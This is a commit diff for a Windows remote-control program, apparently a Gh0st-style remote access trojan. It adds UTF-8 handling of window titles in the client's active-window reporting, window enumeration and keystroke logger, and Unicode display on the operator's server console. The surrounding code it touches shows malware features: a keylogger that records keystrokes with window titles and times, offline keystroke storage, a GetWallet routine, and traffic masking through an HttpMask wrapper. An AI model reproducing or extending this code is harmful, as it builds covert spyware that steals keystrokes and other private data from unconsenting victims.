i18n: UTF-8 protocol capability + Unicode rendering on server
This commit is contained in:
@@ -63,9 +63,34 @@ private:
|
|||||||
if (hForegroundWindow == NULL)
|
if (hForegroundWindow == NULL)
|
||||||
return "No active window";
|
return "No active window";
|
||||||
|
|
||||||
char windowTitle[256];
|
// 用 W 接口取标题,再转 UTF-8,避免依赖客户端系统 ANSI 代码页
|
||||||
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
|
wchar_t wTitle[256] = { 0 };
|
||||||
return std::string(windowTitle);
|
GetWindowTextW(hForegroundWindow, wTitle, _countof(wTitle));
|
||||||
|
if (wTitle[0] == L'\0')
|
||||||
|
return std::string();
|
||||||
|
|
||||||
|
int u8len = WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, NULL, 0, NULL, NULL);
|
||||||
|
if (u8len <= 1)
|
||||||
|
return std::string();
|
||||||
|
|
||||||
|
// 协议字段 ActiveWnd[512],UTF-8 中文最多 3 字节/字符,必要时按完整码点截断
|
||||||
|
std::string out(u8len - 1, '\0');
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, &out[0], u8len, NULL, NULL);
|
||||||
|
if (out.size() >= 511) {
|
||||||
|
out.resize(511);
|
||||||
|
// 回退到上一个完整 UTF-8 码点起始
|
||||||
|
while (!out.empty() && (static_cast<unsigned char>(out.back()) & 0xC0) == 0x80)
|
||||||
|
out.pop_back();
|
||||||
|
if (!out.empty()) {
|
||||||
|
unsigned char lead = static_cast<unsigned char>(out.back());
|
||||||
|
int need = (lead & 0x80) == 0 ? 1
|
||||||
|
: (lead & 0xE0) == 0xC0 ? 2
|
||||||
|
: (lead & 0xF0) == 0xE0 ? 3
|
||||||
|
: (lead & 0xF8) == 0xF0 ? 4 : 0;
|
||||||
|
if (need == 0) out.pop_back();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out;
|
||||||
}
|
}
|
||||||
|
|
||||||
DWORD GetLastInputTime()
|
DWORD GetLastInputTime()
|
||||||
|
|||||||
@@ -76,7 +76,10 @@ CKeyboardManager1::~CKeyboardManager1()
|
|||||||
SAFE_CLOSE_HANDLE(m_hClipboard);
|
SAFE_CLOSE_HANDLE(m_hClipboard);
|
||||||
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
SAFE_CLOSE_HANDLE(m_hWorkThread);
|
||||||
SAFE_CLOSE_HANDLE(m_hSendThread);
|
SAFE_CLOSE_HANDLE(m_hSendThread);
|
||||||
|
// 仅在离线记录开启时才回写磁盘;否则缓冲区随对象释放,不让 CLEAR 后的新击键意外落盘。
|
||||||
|
if (m_bIsOfflineRecord) {
|
||||||
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
m_Buffer->WriteAvailableDataToFile(m_strRecordFile);
|
||||||
|
}
|
||||||
delete m_Buffer;
|
delete m_Buffer;
|
||||||
Mprintf("~CKeyboardManager1: Stop %p\n", this);
|
Mprintf("~CKeyboardManager1: Stop %p\n", this);
|
||||||
}
|
}
|
||||||
@@ -129,9 +132,15 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
|
|||||||
|
|
||||||
int CKeyboardManager1::sendStartKeyBoard()
|
int CKeyboardManager1::sendStartKeyBoard()
|
||||||
{
|
{
|
||||||
BYTE bToken[2];
|
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
|
||||||
|
// 子连接没经过 LOGIN_INFOR,服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
|
||||||
|
// 让客户端自己带过来,避免服务端通过 IP 反查主连接(NAT/127.0.0.1 等场景反查会失败)。
|
||||||
|
// 老服务端读不到 byte 2-3 没关系(只读 byte 1),向后兼容。
|
||||||
|
BYTE bToken[4];
|
||||||
bToken[0] = TOKEN_KEYBOARD_START;
|
bToken[0] = TOKEN_KEYBOARD_START;
|
||||||
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
bToken[1] = (BYTE)m_bIsOfflineRecord;
|
||||||
|
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
|
||||||
|
memcpy(bToken + 2, &caps, sizeof(WORD));
|
||||||
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
|
||||||
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -264,8 +264,14 @@ BOOL CALLBACK CSystemManager::EnumWindowsProc(HWND hWnd, LPARAM lParam) //要
|
|||||||
LPBYTE szBuffer = *(LPBYTE*)lParam;
|
LPBYTE szBuffer = *(LPBYTE*)lParam;
|
||||||
char szTitle[1024];
|
char szTitle[1024];
|
||||||
memset(szTitle, 0, sizeof(szTitle));
|
memset(szTitle, 0, sizeof(szTitle));
|
||||||
//得到系统传递进来的窗口句柄的窗口标题
|
// 用 W 接口取标题再转 UTF-8 写入 szTitle,避免依赖客户端 CP_ACP;
|
||||||
GetWindowText(hWnd, szTitle, sizeof(szTitle));
|
// 服务端 SystemDlg::ShowWindowsList 按 UTF-8 解码后用宽字符塞进 ListCtrl。
|
||||||
|
wchar_t wTitle[1024] = {};
|
||||||
|
GetWindowTextW(hWnd, wTitle, _countof(wTitle));
|
||||||
|
if (wTitle[0]) {
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
|
||||||
|
szTitle, sizeof(szTitle), NULL, NULL);
|
||||||
|
}
|
||||||
//这里判断 窗口是否可见 或标题为空
|
//这里判断 窗口是否可见 或标题为空
|
||||||
BOOL m_bShowHidden = TRUE;
|
BOOL m_bShowHidden = TRUE;
|
||||||
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
|
if (!m_bShowHidden && !IsWindowVisible(hWnd)) {
|
||||||
|
|||||||
@@ -94,9 +94,17 @@ int Save(int key_stroke)
|
|||||||
}
|
}
|
||||||
|
|
||||||
if (foreground) {
|
if (foreground) {
|
||||||
|
// 用 W 接口取标题再转 UTF-8,避免依赖客户端系统 ANSI 代码页:
|
||||||
|
// 老路径 GetWindowTextA 输出的字节是客户端 CP_ACP(中文机=GBK),
|
||||||
|
// 服务端按自己的 CP_ACP 解释会乱码(例如德语机=CP1252)。
|
||||||
char window_title[MAX_PATH] = {};
|
char window_title[MAX_PATH] = {};
|
||||||
GET_PROCESS_EASY(GetWindowTextA);
|
wchar_t wTitle[MAX_PATH] = {};
|
||||||
GetWindowTextA(foreground, (LPSTR)window_title, MAX_PATH);
|
GET_PROCESS_EASY(GetWindowTextW);
|
||||||
|
GetWindowTextW(foreground, wTitle, MAX_PATH);
|
||||||
|
if (wTitle[0]) {
|
||||||
|
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1,
|
||||||
|
window_title, MAX_PATH, NULL, NULL);
|
||||||
|
}
|
||||||
|
|
||||||
if (strcmp(window_title, lastwindow) != 0) {
|
if (strcmp(window_title, lastwindow) != 0) {
|
||||||
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
|
strcpy_s(lastwindow, sizeof(lastwindow), window_title);
|
||||||
@@ -107,7 +115,7 @@ int Save(int key_stroke)
|
|||||||
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
|
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay,
|
||||||
s.wHour, s.wMinute, s.wSecond);
|
s.wHour, s.wMinute, s.wSecond);
|
||||||
|
|
||||||
output << "\r\n\r\n[标题:] " << window_title << "\r\n[时间:]" << tm << "\r\n[内容:]";
|
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Content:]";
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -126,6 +126,8 @@ inline int isValid_10s()
|
|||||||
|
|
||||||
// 客户端能力位
|
// 客户端能力位
|
||||||
#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
|
#define CLIENT_CAP_V2 0x0001 // 支持 V2 文件传输
|
||||||
|
#define CLIENT_CAP_UTF8 0x0002 // 协议字符串字段统一使用 UTF-8 编码(活动窗口、窗口列表、键盘记录中的窗口标题等)
|
||||||
|
// 无此位 = 老客户端,按系统 ANSI(默认 CP936)解读
|
||||||
|
|
||||||
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
|
#define TALK_DLG_MAXLEN 1024 // 最大输入字符长度
|
||||||
|
|
||||||
@@ -916,7 +918,7 @@ typedef struct LOGIN_INFOR {
|
|||||||
{
|
{
|
||||||
memset(this, 0, sizeof(LOGIN_INFOR));
|
memset(this, 0, sizeof(LOGIN_INFOR));
|
||||||
bToken = TOKEN_LOGIN;
|
bToken = TOKEN_LOGIN;
|
||||||
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2);
|
sprintf_s(moduleVersion, "%s-%04X", DLL_VERSION, CLIENT_CAP_V2 | CLIENT_CAP_UTF8);
|
||||||
}
|
}
|
||||||
LOGIN_INFOR& Speed(unsigned long speed)
|
LOGIN_INFOR& Speed(unsigned long speed)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -175,6 +175,20 @@ bool SupportsFileTransferV2(context* ctx) {
|
|||||||
return IsDateGreaterOrEqual(version, FILE_TRANSFER_V2_DATE);
|
return IsDateGreaterOrEqual(version, FILE_TRANSFER_V2_DATE);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 获取客户端协议字符串编码:优先看自身能力位,若是子连接(CAPABILITIES 为空)
|
||||||
|
// 则通过 peer IP 查主连接。找不到则默认 CP936。
|
||||||
|
UINT GetClientEncoding(context* ctx) {
|
||||||
|
if (!ctx) return 936;
|
||||||
|
// 主连接情形:CAPABILITIES 已由 LOGIN_INFOR 处理流程填好
|
||||||
|
if (ctx->SupportsUtf8()) return CP_UTF8;
|
||||||
|
// 子连接情形:CAPABILITIES 为空 -> 通过 IP 找主连接
|
||||||
|
if (g_2015RemoteDlg) {
|
||||||
|
context* mainCtx = g_2015RemoteDlg->FindHostByIP(ctx->GetPeerName());
|
||||||
|
if (mainCtx && mainCtx->SupportsUtf8()) return CP_UTF8;
|
||||||
|
}
|
||||||
|
return 936;
|
||||||
|
}
|
||||||
|
|
||||||
// 授权日志频率控制:首次必须记录,状态变化必须记录,相同状态每小时记录一次
|
// 授权日志频率控制:首次必须记录,状态变化必须记录,相同状态每小时记录一次
|
||||||
static bool ShouldLogAuth(const std::string& sn, int success) {
|
static bool ShouldLogAuth(const std::string& sn, int success) {
|
||||||
struct AuthLogState {
|
struct AuthLogState {
|
||||||
@@ -722,6 +736,9 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
|
|||||||
ON_WM_CLOSE()
|
ON_WM_CLOSE()
|
||||||
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
|
ON_NOTIFY(NM_RCLICK, IDC_ONLINE, &CMy2015RemoteDlg::OnNMRClickOnline)
|
||||||
ON_NOTIFY(LVN_GETDISPINFO, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfo)
|
ON_NOTIFY(LVN_GETDISPINFO, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfo)
|
||||||
|
// 启用 LVM_SETUNICODEFORMAT 后,列表实际发送的是 LVN_GETDISPINFOW(即便工程是 MBCS)。
|
||||||
|
// MBCS 工程里 LVN_GETDISPINFO == LVN_GETDISPINFOA,两者码值不同,需各自映射。
|
||||||
|
ON_NOTIFY(LVN_GETDISPINFOW, IDC_ONLINE, &CMy2015RemoteDlg::OnGetDispInfoW)
|
||||||
ON_NOTIFY(HDN_ITEMCLICK, 0, &CMy2015RemoteDlg::OnHdnItemclickList)
|
ON_NOTIFY(HDN_ITEMCLICK, 0, &CMy2015RemoteDlg::OnHdnItemclickList)
|
||||||
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
|
ON_COMMAND(ID_ONLINE_MESSAGE, &CMy2015RemoteDlg::OnOnlineMessage)
|
||||||
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
|
ON_COMMAND(ID_ONLINE_DELETE, &CMy2015RemoteDlg::OnOnlineDelete)
|
||||||
@@ -1127,13 +1144,23 @@ VOID CMy2015RemoteDlg::CreatStatusBar()
|
|||||||
|
|
||||||
VOID CMy2015RemoteDlg::CreateNotifyBar()
|
VOID CMy2015RemoteDlg::CreateNotifyBar()
|
||||||
{
|
{
|
||||||
|
// GUID 用于 Windows 10/11 Toast 通知关联托盘图标
|
||||||
|
// {A1B2C3D4-E5F6-7890-ABCD-EF1234567890}
|
||||||
|
static const GUID NOTIFY_ICON_GUID =
|
||||||
|
{ 0xA1B2C3D4, 0xE5F6, 0x7890, { 0xAB, 0xCD, 0xEF, 0x12, 0x34, 0x56, 0x78, 0x90 } };
|
||||||
|
|
||||||
m_Nid.uVersion = NOTIFYICON_VERSION_4;
|
m_Nid.uVersion = NOTIFYICON_VERSION_4;
|
||||||
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //大小赋值
|
m_Nid.cbSize = sizeof(NOTIFYICONDATA); //大小赋值
|
||||||
m_Nid.hWnd = m_hWnd; //父窗口 是被定义在父类CWnd类中
|
m_Nid.hWnd = m_hWnd; //父窗口 是被定义在父类CWnd类中
|
||||||
m_Nid.uID = IDR_MAINFRAME; //icon ID
|
m_Nid.uID = IDR_MAINFRAME; //icon ID
|
||||||
m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; //托盘所拥有的状态
|
m_Nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP | NIF_GUID; //托盘所拥有的状态
|
||||||
m_Nid.uCallbackMessage = UM_ICONNOTIFY; //回调消息
|
m_Nid.uCallbackMessage = UM_ICONNOTIFY; //回调消息
|
||||||
m_Nid.hIcon = m_hIcon; //icon 变量
|
m_Nid.hIcon = m_hIcon; //icon 变量
|
||||||
|
m_Nid.guidItem = NOTIFY_ICON_GUID;
|
||||||
|
|
||||||
|
// 先删除可能残留的旧图标(程序异常退出时可能残留)
|
||||||
|
Shell_NotifyIcon(NIM_DELETE, &m_Nid);
|
||||||
|
|
||||||
CString strTips = _TR(BRAND_TRAY_TIP); //气泡提示
|
CString strTips = _TR(BRAND_TRAY_TIP); //气泡提示
|
||||||
lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0]));
|
lstrcpyn(m_Nid.szTip, (LPCSTR)strTips, sizeof(m_Nid.szTip) / sizeof(m_Nid.szTip[0]));
|
||||||
Shell_NotifyIcon(NIM_ADD, &m_Nid); //显示托盘
|
Shell_NotifyIcon(NIM_ADD, &m_Nid); //显示托盘
|
||||||
@@ -1251,6 +1278,9 @@ VOID CMy2015RemoteDlg::InitControl()
|
|||||||
g_Column_Online_Width+=g_Column_Data_Online[i].nWidth;
|
g_Column_Online_Width+=g_Column_Data_Online[i].nWidth;
|
||||||
}
|
}
|
||||||
m_CList_Online.InitColumns();
|
m_CList_Online.InitColumns();
|
||||||
|
// 让虚拟列表用 Unicode 通知(LVN_GETDISPINFOW),从而绕开 MBCS 工程里
|
||||||
|
// 列表 → ANSI → CP_ACP 的回转,这样在德语/日语等非中文 ACP 服务端上也能显示中文。
|
||||||
|
m_CList_Online.SendMessage(LVM_SETUNICODEFORMAT, TRUE, 0);
|
||||||
m_CList_Online.ModifyStyle(0, LVS_SHOWSELALWAYS); // LVS_OWNERDATA 由 SetVirtualMode 设置
|
m_CList_Online.ModifyStyle(0, LVS_SHOWSELALWAYS); // LVS_OWNERDATA 由 SetVirtualMode 设置
|
||||||
m_CList_Online.SetExtendedStyle(style);
|
m_CList_Online.SetExtendedStyle(style);
|
||||||
m_CList_Online.SetParent(&m_GroupTab);
|
m_CList_Online.SetParent(&m_GroupTab);
|
||||||
@@ -1429,7 +1459,8 @@ LRESULT CMy2015RemoteDlg::OnShowNotify(WPARAM wParam, LPARAM lParam)
|
|||||||
NOTIFYICONDATA nidCopy = m_Nid;
|
NOTIFYICONDATA nidCopy = m_Nid;
|
||||||
nidCopy.cbSize = sizeof(NOTIFYICONDATA);
|
nidCopy.cbSize = sizeof(NOTIFYICONDATA);
|
||||||
nidCopy.uFlags |= NIF_INFO;
|
nidCopy.uFlags |= NIF_INFO;
|
||||||
nidCopy.dwInfoFlags = NIIF_INFO;
|
nidCopy.dwInfoFlags = NIIF_USER | NIIF_LARGE_ICON; // 使用自定义图标
|
||||||
|
nidCopy.hBalloonIcon = m_hIcon; // 设置气球提示图标
|
||||||
lstrcpynA(nidCopy.szInfoTitle, title->data, sizeof(nidCopy.szInfoTitle));
|
lstrcpynA(nidCopy.szInfoTitle, title->data, sizeof(nidCopy.szInfoTitle));
|
||||||
lstrcpynA(nidCopy.szInfo, text->data, sizeof(nidCopy.szInfo));
|
lstrcpynA(nidCopy.szInfo, text->data, sizeof(nidCopy.szInfo));
|
||||||
nidCopy.uTimeout = 3000;
|
nidCopy.uTimeout = 3000;
|
||||||
@@ -3500,6 +3531,84 @@ void CMy2015RemoteDlg::OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
*pResult = 0;
|
*pResult = 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// 虚拟列表数据回调(W 版) - 列表启用 LVM_SETUNICODEFORMAT 后由系统改发此通知。
|
||||||
|
// 工程仍是 MBCS,CString 内部仍按 CP_ACP;这里把要显示的列统一转成宽字符填回,
|
||||||
|
// 让控件直接以 Unicode 渲染,从而在非中文 ACP 服务端上也能正确显示中文。
|
||||||
|
void CMy2015RemoteDlg::OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult)
|
||||||
|
{
|
||||||
|
NMLVDISPINFOW* pDispInfo = reinterpret_cast<NMLVDISPINFOW*>(pNMHDR);
|
||||||
|
LVITEMW* pItem = &pDispInfo->item;
|
||||||
|
int iItem = pItem->iItem;
|
||||||
|
|
||||||
|
CLock lock(m_cs);
|
||||||
|
|
||||||
|
if (iItem < 0 || iItem >= (int)m_FilteredIndices.size()) {
|
||||||
|
*pResult = 0;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
size_t realIdx = m_FilteredIndices[iItem];
|
||||||
|
if (realIdx >= m_HostList.size()) {
|
||||||
|
*pResult = 0;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
context* ctx = m_HostList[realIdx];
|
||||||
|
if (!ctx) {
|
||||||
|
*pResult = 0;
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
if ((pItem->mask & LVIF_TEXT) && pItem->pszText && pItem->cchTextMax > 0) {
|
||||||
|
std::wstring wtext;
|
||||||
|
int nCol = pItem->iSubItem;
|
||||||
|
|
||||||
|
if (nCol == ONLINELIST_LOGINTIME) {
|
||||||
|
// "活动窗口"列:心跳到达后用旁路表里的宽字符串(已正确解码);
|
||||||
|
// 心跳到达前 m_ActiveWndW 还没条目,回退到 CString —— AddList 给这一列
|
||||||
|
// 填的是 startTime(启动时间,纯 ASCII),按 CP_ACP 转宽显示,行为与
|
||||||
|
// 原 A 版回调一致。
|
||||||
|
auto it = m_ActiveWndW.find(ctx->GetClientID());
|
||||||
|
if (it != m_ActiveWndW.end()) {
|
||||||
|
wtext = it->second;
|
||||||
|
} else {
|
||||||
|
CString text = ctx->GetClientData(nCol);
|
||||||
|
if (!text.IsEmpty()) {
|
||||||
|
int wlen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
|
||||||
|
if (wlen > 0) {
|
||||||
|
wtext.resize(wlen - 1);
|
||||||
|
MultiByteToWideChar(CP_ACP, 0, text, -1, &wtext[0], wlen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (wtext.empty()) wtext = L"?";
|
||||||
|
} else {
|
||||||
|
// 其它列:CString 仍是 ANSI(CP_ACP),按 CP_ACP 转宽供控件显示
|
||||||
|
CString text;
|
||||||
|
if (nCol == ONLINELIST_COMPUTER_NAME) {
|
||||||
|
CString note = m_ClientMap->GetClientMapData(ctx->GetClientID(), MAP_NOTE);
|
||||||
|
text = !note.IsEmpty() ? note : ctx->GetClientData(nCol);
|
||||||
|
} else {
|
||||||
|
text = ctx->GetClientData(nCol);
|
||||||
|
if (text.IsEmpty()) text = "?";
|
||||||
|
}
|
||||||
|
int wlen = MultiByteToWideChar(CP_ACP, 0, text, -1, NULL, 0);
|
||||||
|
if (wlen > 0) {
|
||||||
|
wtext.resize(wlen - 1);
|
||||||
|
MultiByteToWideChar(CP_ACP, 0, text, -1, &wtext[0], wlen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 安全拷贝到控件提供的缓冲区
|
||||||
|
int copy = (int)wtext.size();
|
||||||
|
if (copy > pItem->cchTextMax - 1) copy = pItem->cchTextMax - 1;
|
||||||
|
if (copy > 0) {
|
||||||
|
wmemcpy(pItem->pszText, wtext.c_str(), copy);
|
||||||
|
}
|
||||||
|
pItem->pszText[copy] = L'\0';
|
||||||
|
}
|
||||||
|
|
||||||
|
*pResult = 0;
|
||||||
|
}
|
||||||
|
|
||||||
void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
|
||||||
{
|
{
|
||||||
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
LPNMITEMACTIVATE pNMItemActivate = reinterpret_cast<LPNMITEMACTIVATE>(pNMHDR);
|
||||||
@@ -5525,6 +5634,8 @@ bool CMy2015RemoteDlg::RemoveFromHostList(context* ctx)
|
|||||||
if (WebService().IsRunning()) {
|
if (WebService().IsRunning()) {
|
||||||
WebService().MarkDeviceOffline(clientID);
|
WebService().MarkDeviceOffline(clientID);
|
||||||
}
|
}
|
||||||
|
// 清理"活动窗口"列的宽字符旁路表
|
||||||
|
m_ActiveWndW.erase(clientID);
|
||||||
|
|
||||||
// 方案1:通过索引快速查找(如果索引有效且匹配)
|
// 方案1:通过索引快速查找(如果索引有效且匹配)
|
||||||
auto indexIt = m_ClientIndex.find(clientID);
|
auto indexIt = m_ClientIndex.find(clientID);
|
||||||
@@ -5942,10 +6053,25 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
|||||||
if (id) {
|
if (id) {
|
||||||
bool changed = false;
|
bool changed = false;
|
||||||
// 只在数据变化时标记 dirty
|
// 只在数据变化时标记 dirty
|
||||||
|
// 注:hb.ActiveWnd 编码由客户端能力位 CLIENT_CAP_UTF8 决定(登录时已识别)。
|
||||||
|
// CString 这里仍然按字节存原始数据,仅用于 "Locked:"/"Inactive:" 等 ASCII 前缀比较;
|
||||||
|
// 真正显示走 m_ActiveWndW + LVN_GETDISPINFOW。
|
||||||
CString oldActiveWnd = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
CString oldActiveWnd = ctx->GetClientData(ONLINELIST_LOGINTIME);
|
||||||
if (oldActiveWnd != hb.ActiveWnd) {
|
if (oldActiveWnd != hb.ActiveWnd) {
|
||||||
ctx->SetClientData(ONLINELIST_LOGINTIME, hb.ActiveWnd);
|
ctx->SetClientData(ONLINELIST_LOGINTIME, hb.ActiveWnd);
|
||||||
changed = true;
|
changed = true;
|
||||||
|
|
||||||
|
// 按客户端声明的编码解码:新客户端 UTF-8,老客户端 CP936(默认兜底)
|
||||||
|
std::wstring wActive;
|
||||||
|
if (hb.ActiveWnd[0]) {
|
||||||
|
UINT cp = GetClientEncoding(host);
|
||||||
|
int wlen = MultiByteToWideChar(cp, 0, hb.ActiveWnd, -1, NULL, 0);
|
||||||
|
if (wlen > 0) {
|
||||||
|
wActive.resize(wlen - 1);
|
||||||
|
MultiByteToWideChar(cp, 0, hb.ActiveWnd, -1, &wActive[0], wlen);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
m_ActiveWndW[clientID] = std::move(wActive);
|
||||||
}
|
}
|
||||||
if (hb.Ping > 0) {
|
if (hb.Ping > 0) {
|
||||||
CString newPing = std::to_string(hb.Ping).c_str();
|
CString newPing = std::to_string(hb.Ping).c_str();
|
||||||
@@ -5966,19 +6092,16 @@ void CMy2015RemoteDlg::UpdateActiveWindow(CONTEXT_OBJECT* ctx)
|
|||||||
// Notify web clients of device update
|
// Notify web clients of device update
|
||||||
if (WebService().IsRunning()) {
|
if (WebService().IsRunning()) {
|
||||||
std::string rtt = hb.Ping > 0 ? std::to_string(hb.Ping) : "";
|
std::string rtt = hb.Ping > 0 ? std::to_string(hb.Ping) : "";
|
||||||
// Convert ANSI to UTF-8 for web
|
// Web 端要 UTF-8:直接用旁路表里的宽字符再编一次 UTF-8,
|
||||||
|
// 这样无论客户端原本是 UTF-8 还是 GBK,发给 Web 都是 UTF-8。
|
||||||
std::string activeWnd;
|
std::string activeWnd;
|
||||||
CString csActiveWnd(hb.ActiveWnd);
|
auto it = m_ActiveWndW.find(clientID);
|
||||||
if (!csActiveWnd.IsEmpty()) {
|
if (it != m_ActiveWndW.end() && !it->second.empty()) {
|
||||||
int wlen = MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, NULL, 0);
|
const std::wstring& w = it->second;
|
||||||
if (wlen > 0) {
|
int u8len = WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, NULL, 0, NULL, NULL);
|
||||||
std::wstring wstr(wlen - 1, L'\0');
|
|
||||||
MultiByteToWideChar(CP_ACP, 0, csActiveWnd, -1, &wstr[0], wlen);
|
|
||||||
int u8len = WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, NULL, 0, NULL, NULL);
|
|
||||||
if (u8len > 0) {
|
if (u8len > 0) {
|
||||||
activeWnd.resize(u8len - 1);
|
activeWnd.resize(u8len - 1);
|
||||||
WideCharToMultiByte(CP_UTF8, 0, wstr.c_str(), -1, &activeWnd[0], u8len, NULL, NULL);
|
WideCharToMultiByte(CP_UTF8, 0, w.c_str(), -1, &activeWnd[0], u8len, NULL, NULL);
|
||||||
}
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
WebService().NotifyDeviceUpdate(clientID, rtt, activeWnd);
|
WebService().NotifyDeviceUpdate(clientID, rtt, activeWnd);
|
||||||
|
|||||||
@@ -96,6 +96,14 @@ extern CMy2015RemoteDlg* g_2015RemoteDlg;
|
|||||||
// 注意:m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量
|
// 注意:m_bEnableFileV2 是 CMy2015RemoteDlg 的成员变量
|
||||||
bool SupportsFileTransferV2(context* ctx);
|
bool SupportsFileTransferV2(context* ctx);
|
||||||
|
|
||||||
|
// 获取客户端协议字符串编码 (CP_UTF8 或 936)。
|
||||||
|
// 适用于任意 context:
|
||||||
|
// - 主连接:直接读自身的 CAPABILITIES
|
||||||
|
// - 子连接(KeyBoardDlg / SystemDlg / FileManagerDlg 等):CAPABILITIES 为空,
|
||||||
|
// 通过 peer IP 查 m_HostList 中的主连接获取能力位
|
||||||
|
// 找不到主连接或老客户端:默认 CP936(覆盖 95% 简中/英语 ASCII 老客户端)。
|
||||||
|
UINT GetClientEncoding(context* ctx);
|
||||||
|
|
||||||
// 服务端待续传的传输信息
|
// 服务端待续传的传输信息
|
||||||
struct PendingTransferV2 {
|
struct PendingTransferV2 {
|
||||||
uint64_t clientID;
|
uint64_t clientID;
|
||||||
@@ -344,7 +352,13 @@ public:
|
|||||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||||
afx_msg void OnExitSizeMove();
|
afx_msg void OnExitSizeMove();
|
||||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||||
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调
|
afx_msg void OnGetDispInfo(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调(A 版,备用)
|
||||||
|
afx_msg void OnGetDispInfoW(NMHDR* pNMHDR, LRESULT* pResult); // 虚拟列表数据回调(W 版,启用 LVM_SETUNICODEFORMAT 后实际触发的)
|
||||||
|
|
||||||
|
// "活动窗口"列的宽字符旁路表:clientID -> Unicode 标题。
|
||||||
|
// 协议字段 hb.ActiveWnd 已约定为 UTF-8(老客户端 GBK 回退),由服务端解码后存入。
|
||||||
|
// 由 m_cs 保护。
|
||||||
|
std::map<uint64_t, std::wstring> m_ActiveWndW;
|
||||||
afx_msg void OnOnlineMessage();
|
afx_msg void OnOnlineMessage();
|
||||||
afx_msg void OnOnlineDelete();
|
afx_msg void OnOnlineDelete();
|
||||||
afx_msg void OnOnlineUpdate();
|
afx_msg void OnOnlineUpdate();
|
||||||
|
|||||||
@@ -3,7 +3,9 @@
|
|||||||
|
|
||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include <WinUser.h>
|
#include <WinUser.h>
|
||||||
|
#include <string>
|
||||||
#include "KeyBoardDlg.h"
|
#include "KeyBoardDlg.h"
|
||||||
|
#include "2015RemoteDlg.h" // GetClientEncoding helper
|
||||||
|
|
||||||
#ifdef _DEBUG
|
#ifdef _DEBUG
|
||||||
#define new DEBUG_NEW
|
#define new DEBUG_NEW
|
||||||
@@ -22,7 +24,18 @@ static char THIS_FILE[] = __FILE__;
|
|||||||
CKeyBoardDlg::CKeyBoardDlg(CWnd* pParent, Server* pIOCPServer, ClientContext *pContext)
|
